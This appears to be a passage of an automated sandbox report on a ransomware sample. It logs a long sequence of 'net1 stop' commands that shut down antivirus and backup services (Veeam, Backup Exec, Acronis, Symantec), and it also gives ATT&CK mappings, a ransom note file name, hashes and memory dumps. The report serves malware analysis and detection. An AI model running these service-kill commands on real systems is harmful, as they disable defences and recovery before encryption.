- - C:\Windows\SysWOW64\choice.exe
    choice /C Y /N /D Y /T 3
    3⤵
    PID:5352

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop DefWatch /y
1⤵
PID:5300

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop QBCFMonitorService /y
1⤵
PID:5284

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop McAfeeDLPAgentService /y
1⤵
PID:5336

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop QBIDPService /y
1⤵
PID:5516

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop YooIT /y
1⤵
PID:5656

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop VeeamDeploymentService /y
1⤵
PID:5632

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop CAARCUpdateSvc /y
1⤵
PID:5624

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop veeam /y
1⤵
PID:5616

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop VeeamNFSSvc /y
1⤵
PID:5608

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop mfewc /y
1⤵
PID:5600

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop zhudongfangyu /y
1⤵
PID:5592

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop ccEvtMgr /y
1⤵
PID:5732

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:5800

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop VeeamTransportSvc /y
1⤵
PID:5960

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop VSNAPVSS /y
1⤵
PID:6020

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop QBFCService /y
1⤵
PID:6012

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop BackupExecManagementService /y
1⤵
PID:6084

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop BackupExecRPCService /y
1⤵
PID:6004

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop BackupExecAgentBrowser /y
1⤵
PID:5952

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop BackupExecDiveciMediaService /y
1⤵
PID:5940

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop AcronisAgent /y
1⤵
PID:5856

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop SavRoam /y
1⤵
PID:5836

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop CASAD2DWebSvc /y
1⤵
PID:5788

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop AcrSch2Svc /y
1⤵
PID:5780

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop PDVFSService /y
1⤵
PID:5724

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop BackupExecJobEngine /y
1⤵
PID:5716

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop BackupExecVSSProvider /y
1⤵
PID:5684

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop Intuit.QuickBooks.FCS /y
1⤵
PID:5584

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop BackupExecAgentAccelerator /y
1⤵
PID:5524

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop BMR Boot Service /y
1⤵
PID:5392

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop YooBackup /y
1⤵
PID:5416

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop RTVscan /y
1⤵
PID:5400

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop avpsus /y
1⤵
PID:5408

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop NetBackup BMR MTFTP Service /y
1⤵
PID:5328

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop ccSetMgr /y
1⤵
PID:5316

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop stc_raw_agent /y
1⤵
PID:5240

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{AB8902B4-09CA-4BB6-B78D-A8F59079A8D5}
1⤵
PID:5788

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry

T1112

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

Remote System Discovery

T1018

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Inhibit System Recovery

T1490

Replay Monitor

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Downloads

C:\HOW_TO_DECYPHER_FILES.txt

Filesize
1KB

MD5
9e8015c08190ef0ccd9aca1ed336ff08

SHA1
11af8dde90ec2e35e882b00e5a12996e900c566a

SHA256
7196c2183a0dafdb2f45d5e2a8c7c2f7092ee101bd8961c8b8db71547cf8adfc

SHA512
22dc3d30380690c3de56da93e8c1a02204ef66b8a875a383a9789f08e2c6820de2a6e103e7c09c37349d5977df70cf63a37f945795f4034ce6f7760b9f248e87

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_04klkg31.yqi.ps1

Filesize
1B

MD5
c4ca4238a0b923820dcc509a6f75849b

SHA1
356a192b7913b04c54574d18c28d46e6395428ab

SHA256
6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b

SHA512
4dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a

Download Submit
memory/1884-15-0x0000000006160000-0x00000000061C6000-memory.dmp

Filesize
408KB

Download
memory/1884-1-0x00000000736C0000-0x0000000073DAE000-memory.dmp

Filesize
6.9MB

Download
memory/1884-2-0x00000000048D0000-0x00000000048E0000-memory.dmp

Filesize
64KB

Download
memory/1884-391-0x00000000736C0000-0x0000000073DAE000-memory.dmp

Filesize
6.9MB

Download
memory/1884-0-0x0000000000120000-0x000000000013C000-memory.dmp

Filesize
112KB

Download
memory/4580-21-0x0000000008120000-0x0000000008196000-memory.dmp

Filesize
472KB

Download
memory/4580-64-0x000000006E5B0000-0x000000006E5FB000-memory.dmp

Filesize
300KB

Download
memory/4580-18-0x00000000078D0000-0x0000000007C20000-memory.dmp

Filesize
3.3MB

Download
memory/4580-13-0x0000000007770000-0x00000000077D6000-memory.dmp

Filesize
408KB

Download
memory/4580-12-0x00000000076D0000-0x00000000076F2000-memory.dmp

Filesize
136KB

Download
memory/4580-20-0x0000000008260000-0x00000000082AB000-memory.dmp

Filesize
300KB

Download
memory/4580-19-0x0000000007D20000-0x0000000007D3C000-memory.dmp

Filesize
112KB

Download
memory/4580-8-0x0000000006A60000-0x0000000006A70000-memory.dmp

Filesize
64KB

Download
memory/4580-5-0x00000000736C0000-0x0000000073DAE000-memory.dmp

Filesize
6.9MB

Download
memory/4580-62-0x000000007E9E0000-0x000000007E9F0000-memory.dmp

Filesize
64KB

Download
memory/4580-63-0x0000000008FF0000-0x0000000009023000-memory.dmp

Filesize
204KB

Download
memory/4580-9-0x00000000070A0000-0x00000000076C8000-memory.dmp

Filesize
6.2MB

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memory/4580-65-0x0000000008FD0000-0x0000000008FEE000-memory.dmp

Filesize
120KB

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memory/4580-70-0x0000000009340000-0x00000000093E5000-memory.dmp

Filesize
660KB

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memory/4580-71-0x0000000006A60000-0x0000000006A70000-memory.dmp

Filesize
64KB

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memory/4580-72-0x0000000009510000-0x00000000095A4000-memory.dmp

Filesize
592KB

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memory/4580-7-0x0000000006A60000-0x0000000006A70000-memory.dmp

Filesize
64KB

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memory/4580-369-0x0000000006C80000-0x0000000006C9A000-memory.dmp

Filesize
104KB

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memory/4580-374-0x0000000006C70000-0x0000000006C78000-memory.dmp

Filesize
32KB

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memory/4580-390-0x00000000736C0000-0x0000000073DAE000-memory.dmp

Filesize
6.9MB

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memory/4580-6-0x00000000045E0000-0x0000000004616000-memory.dmp

Filesize
216KB

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